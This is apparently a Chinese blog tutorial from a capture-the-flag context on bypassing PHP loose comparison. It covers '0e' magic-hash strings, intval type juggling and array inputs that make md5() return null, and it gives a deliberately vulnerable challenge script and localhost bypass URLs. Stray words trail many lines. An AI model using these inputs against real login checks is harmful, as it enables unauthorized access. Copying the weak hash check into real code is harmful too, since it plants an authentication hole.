目录php
这是如下几种绕过技术的依据git
php的“==”是值比较,不会比较类型。那么不一样类型的比较会直接输出false吗?答案是否认的,好比string型==int型解释器会将string转化为int再比较。而string转化int,等价于使用intval(string)获得的返回值。github
看看官网对intval()的一些解释:数组
若是字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);不然,
若是字符串以 "0" 开始,使用 8 进制(octal);不然,
将使用 10 进制 (decimal)。函数
成功时返回
var
的 integer 值,失败时返回 0。
空的 array 返回 0,非空的 array 返回 1。网站
还有一条note:加密
Not mentioned elsewhere: intval(NULL) also returns 0.
url
还有md5()函数的一些特色:spa
md5(array())为null.net
md5()为null
<?php $md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo "nctf{*****************}"; } else { echo "false!!!"; }} else{echo "please input a";} ?>
$a=GET["a"]; 其中的 @ 是为了防止没有 $_GET['a']出现错误提示.
可是 @ 的代价太高, 通常都用 isset() 来判断一下.
比较通俗的写法是:
if (isset($_GET['a'] )) { $a = $_GET['a'] ; }else { $a = null; }
http://127.0.0.1/Php_Bug/13.php?a=240610708
不讨论具体的环境的话,代码的逻辑是想找到一个和 'QNKCDZO' 有同一hash值的字符串(hash碰撞)。但在实践的环境下由于“==”弱类型比较和 'QNKCDZO' md5以'0e'开头,能够构造md5值为0eXXXXXXXXXX
的字符串,利用弱类型的转换,将0eXXXXXXXXXX
转成0。
md5('240610708'); // 0e462097431906509019562988736854 md5('QNKCDZO'); // 0e830400451993494058024219903391
利用条件:使用为加盐的hash,使用弱等于做为hash校验的方式
构造:hash为0eXXXXXXXXXX的字符串
var_dump(md5('240610708') == md5('QNKCDZO')); //true var_dump(md5('aabg7XSs') == md5('aabC9RqS')); //true var_dump(sha1('aaroZmOk') == sha1('aaK1STfY')); //true var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m')); //true var_dump('0010e2' == '1e3'); //true var_dump('0x1234Ab' == '1193131'); //true var_dump('0xABCdef' == ' 0xABCdef'); //true md5('240610708'); // 0e462097431906509019562988736854 md5('QNKCDZO'); // 0e830400451993494058024219903391
md5('240610708'); // 0e462097431906509019562988736854 md5('QNKCDZO'); // 0e830400451993494058024219903391
url:
http://127.0.0.1/bugs/23.php?password=QNKCDZO
url:
http://127.0.0.1/bugs/23.php?password[]=1
url:
http://127.0.0.1/bugs/23.php?password=
===是比较类型和值,这时候构造“hash为0eXXXXXXXXXX的字符串”的字符不行了。
就利用数组,PHP对数组进行hash计算都会得出null的空值。
url:
http://127.0.0.1/bugs/18.php?username[]=1&password[]=2
到这里其实没什么好总结的,记住0000的md5特性和intval的特性,就会对其绕过有了基本的认识了。
记住这个,省得关键时候找不到:
md5('240610708'); // 0e462097431906509019562988736854 md5('QNKCDZO'); // 0e830400451993494058024219903391
感谢"git主"(滑稽)地整理:github地址
感谢官网助攻:官网手册